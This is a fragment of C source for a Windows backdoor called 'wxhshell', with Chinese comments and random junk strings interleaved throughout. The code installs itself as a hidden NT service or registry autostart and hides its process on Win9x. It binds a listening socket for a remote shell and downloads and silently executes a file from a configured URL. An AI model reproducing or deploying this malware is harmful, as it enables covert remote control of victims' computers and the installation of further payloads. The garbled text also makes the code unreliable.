?Iu& if(strstr(procName,"services")) return 1; // 以服务启动 qtN29[x iq:[+ return 0; // 注册表启动 ~K96y$ DTE } @>@Nug2 w2+]C&B* // 主模块 N]}+F w\5 int StartWxhshell(LPSTR lpCmdLine) pCUOeQL(
{ ug,|'<G+ SOCKET wsl; Nj_sU0Dt BOOL val=TRUE;
;"^9L int port=0; KL mB struct sockaddr_in door; CD1=2 kA;Tr4EA6 if(wscfg.ws_autoins) Install(); `_A?a_[* BDRVT Y(s port=atoi(lpCmdLine); 1!wEXH( !#I/be] if(port<=0) port=wscfg.ws_port; SQU%N 8@KFln )[ WSADATA data; !s*''v* if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (I
ds<n" ,M&0<k\ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; X&?lDL7? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qz(T[H5%W door.sin_family = AF_INET; !# :$u= door.sin_addr.s_addr = inet_addr("127.0.0.1"); -xu.=n@, door.sin_port = htons(port); doO
Ap9% Pd "mb~ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7 eQoc2X2 closesocket(wsl); wv.Ulrpx. return 1; kr`BUW3 } HL}~W}!j (g/X(3 if(listen(wsl,2) == INVALID_SOCKET) { 62l0
Z- closesocket(wsl); kqvJ&7 return 1; lhA
s!\F } B H0#Q5 Wxhshell(wsl); B/D\gjb WSACleanup(); Qy^z *s Y-3[KH D return 0; T[XP\!z]B! JM-ce8U } Mev-M2A vMX6Bg8 // 以NT服务方式启动 RD$tc~@UB VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yEUNkZ5^ { b;J0'o^G| DWORD status = 0; )ehB)X DWORD specificError = 0xfffffff; f;Bfh3 a][pTC\ rb serviceStatus.dwServiceType = SERVICE_WIN32; b4)*<Zp` serviceStatus.dwCurrentState = SERVICE_START_PENDING; t&9as} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; : \:~y9X0 serviceStatus.dwWin32ExitCode = 0; h*#2bS~nl- serviceStatus.dwServiceSpecificExitCode = 0; NB3Syl8g serviceStatus.dwCheckPoint = 0; hX8gV~E=y serviceStatus.dwWaitHint = 0; c2/R]%`)9 >C:"$x2"#( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YQ@dl if (hServiceStatusHandle==0) return; 6L8tz8 =X`]Ct8Z status = GetLastError(); sWsG,v_ if (status!=NO_ERROR) i.&Kpw9;m { Q"_T2fl]vP serviceStatus.dwCurrentState = SERVICE_STOPPED; \]U<hub serviceStatus.dwCheckPoint = 0; =XMD+ serviceStatus.dwWaitHint = 0; N[,VSO& serviceStatus.dwWin32ExitCode = status; yE.495 serviceStatus.dwServiceSpecificExitCode = specificError; bB;~,W&E1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); (:?5 i` return; Z6IJ o%s } s%N` 29a_ZU7e6 serviceStatus.dwCurrentState = SERVICE_RUNNING; rnn2u+OG serviceStatus.dwCheckPoint = 0; j<ABO")v serviceStatus.dwWaitHint = 0; GUu\dl9WA' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I|KY+k> / } q GpP, ;|>q zx // 处理NT服务事件,比如:启动、停止 &RKH2R VOID WINAPI NTServiceHandler(DWORD fdwControl) p}YI#f
in/ { 5JBB+g switch(fdwControl) q+A<g(Xu { @<D'-mMt case SERVICE_CONTROL_STOP: {cR_?Y@ serviceStatus.dwWin32ExitCode = 0; c*x J=Gz6d serviceStatus.dwCurrentState = SERVICE_STOPPED; cBz!U8( serviceStatus.dwCheckPoint = 0; .cg= serviceStatus.dwWaitHint = 0; wr$cK'5ZL { I~\O SetServiceStatus(hServiceStatusHandle, &serviceStatus); (NH8AS< } rc;7W: return; MU_!&(X_ case SERVICE_CONTROL_PAUSE: 2d-TU_JqX serviceStatus.dwCurrentState = SERVICE_PAUSED; %`xV'2H break; 0+T*$=? case SERVICE_CONTROL_CONTINUE: ==%`e/~Y serviceStatus.dwCurrentState = SERVICE_RUNNING; { 1+Cw?1d break; Nk96"P$P case SERVICE_CONTROL_INTERROGATE: h5L=M^z!> break; o3Mf:;2c C }; y;Qy"-)qb SetServiceStatus(hServiceStatusHandle, &serviceStatus); zP_ ] } Mw/?wtW v6wRME;JA // 标准应用程序主函数 z-n>9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X AQGG> { EkN_8(w GwcI0~5 // 获取操作系统版本 (C,e6r Y OsIsNt=GetOsVer(); u@<Pu@?xm GetModuleFileName(NULL,ExeFile,MAX_PATH); yC0C`oC 1TKEm9j]u // 从命令行安装 h,^BC^VU9- if(strpbrk(lpCmdLine,"iI")) Install(); ^#]c0 3\;v5D: // 下载执行文件 ARP KzF`Wq if(wscfg.ws_downexe) { ?#d6i$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $j57LY|r WinExec(wscfg.ws_filenam,SW_HIDE); Hal7
MP } 9/#0?(K8 m;dm|4L^ if(!OsIsNt) { Vzpt(_>< // 如果时win9x,隐藏进程并且设置为注册表启动 NwguP HideProc(); Y=r!2u6r~ StartWxhshell(lpCmdLine); 2z4<N2!M } :pRF*^eU else uS~#4;R if(StartFromService()) 5UE409Gn' // 以服务方式启动 ~8TF*3[}[ StartServiceCtrlDispatcher(DispatchTable); 98GlhogWt else xq2V0Jp1u // 普通方式启动 X/l;s StartWxhshell(lpCmdLine); _3/ec]1 +IrZ
;&oy return 0; %Uy%kN_& }
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